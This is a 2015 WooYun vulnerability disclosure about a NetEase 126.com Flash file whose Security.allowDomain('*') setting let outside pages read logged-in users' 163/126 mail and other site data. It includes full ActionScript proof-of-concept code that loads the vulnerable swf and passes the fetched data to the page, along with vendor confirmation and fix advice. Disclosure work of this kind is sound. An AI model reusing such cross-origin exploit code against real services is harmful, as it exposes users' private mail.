当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0106908

漏洞标题:我是如何读取已登陆用户163/126 邮件的

相关厂商:网易

漏洞作者: EtherDream

提交时间:2015-04-09 20:08

修复时间:2015-05-25 17:22

公开时间:2015-05-25 17:22

漏洞类型:敏感信息泄露

危害等级:高

自评Rank:18

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-09: 细节已通知厂商并且等待厂商处理中
2015-04-10: 厂商已经确认,细节仅向厂商公开
2015-04-20: 细节向核心白帽子及相关领域专家公开
2015-04-30: 细节向普通白帽子公开
2015-05-10: 细节向实习白帽子公开
2015-05-25: 细节向公众公开

简要描述:

利用 126.com 下一个 flash,可随意读取网易大部分站点的数据。

详细说明:

存在漏洞的 flash 文件:http://mail.126.com/js6/h/flashRequest.swf
开启了致命的 Security.allowDomain("*")
不知咋搞的,明明看见初始化代码里有各种授权判断,但最终还是调用了这个方法。非常无语。。。
有了这个一切都好办。 搜索网络 API,发现 FlashRequest 类使用了 URLStream,而且这个类关键方法都是 public,那就非常明朗了。
用自己的 flash 加载这个 swf,反射出 FlashRequest,照着他的格式调用就行。。。

漏洞证明:

Demo: http://www.etherdream.com/hack/netease-mail/flatest.html
(显示在控制台)

package {
import flash.display.Loader;
import flash.display.Sprite;
import flash.events.Event;
import flash.external.ExternalInterface;
import flash.net.URLLoader;
import flash.net.URLRequest;
import flash.system.Security;
import flash.utils.getDefinitionByName;


public class flahack extends Sprite {
private static const PATH:String =
'com.netease.mail.FlashRequest';
private static const URL:String =
'http://mail.126.com/js6/h/flashRequest.swf?callback=hello';
private var loader:Loader = new Loader();
private var cls:*;

public function flahack() {
Security.allowDomain('*');
loader.contentLoaderInfo.addEventListener(Event.COMPLETE, onReady);
loader.load(new URLRequest(URL));
}

private function onReady(e:Event) : void {
//stage.addChild(loader);
cls = loader.contentLoaderInfo.applicationDomain.getDefinition(PATH);
ExternalInterface.addCallback('Load', extern_load);
ExternalInterface.call('__fla_ready');
}
private function extern_load(url: String) : void {
var obj:* = new cls(function(...args) : void {
if (args[0] != 'complete') return;
var data:String = args[2];
ExternalInterface.call('__fla_complete',
url,
data.replace(/\\/g, '\\\\')
);
});
obj.open('GET', url, 'utf-8');
obj.send('');
}
}
}

修复方案:

输出敏感信息的站点部署 crossdomain.xml 风险很大,设计不合理。
对了,还看到 flash 里使用 ExternalInterface.call("location.host.toString") 来获得页面地址,尽管这次没利用,但也是有 bug 的。ExternalInterface.call 的结果可以被页面 js 重写的,可以返回任意结果。

版权声明:转载请注明来源 EtherDream@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-04-10 17:20

厂商回复:

感谢您对网易的关注!此漏洞已修复。

最新状态:

暂无